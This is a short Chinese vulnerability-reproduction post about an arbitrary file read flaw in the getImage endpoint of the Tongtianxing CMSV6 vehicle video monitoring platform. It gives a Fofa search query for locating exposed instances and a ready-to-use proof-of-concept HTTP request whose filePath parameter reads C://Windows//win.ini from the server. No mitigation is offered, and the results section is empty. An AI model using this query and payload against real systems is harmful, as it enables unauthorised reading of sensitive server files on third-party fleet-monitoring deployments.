【漏洞复现】通天星CMSV6车载监控平台getImage文件读取漏洞

漏洞描述：

通天星CMSV6车载定位监控平台拥有以位置服务、无线3G/4G视频传输、云存储服务为核心的研发团队，专注于为定位、无线视频终端产品提供平台服务，通天星CMSV6产品覆盖车载录像机、单兵录像机、网络监控摄像机、行驶记录仪等产品的视频综合平台。

通天星CMSV6车载视频监控平台存在getImage文件读取漏洞，攻击者可以利用此漏洞读取服务器文件信息，造成敏感信息泄露等安全问题。

搜索语法:

Fofa-Query: web.body="/808gps/"

漏洞详情：

1.通天星CMSV6车载视频监控平台。

2.漏洞POC：

POST /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
Connection: close
Content-Length: 0
Accept-Encoding: gzip

3.漏洞复现结果。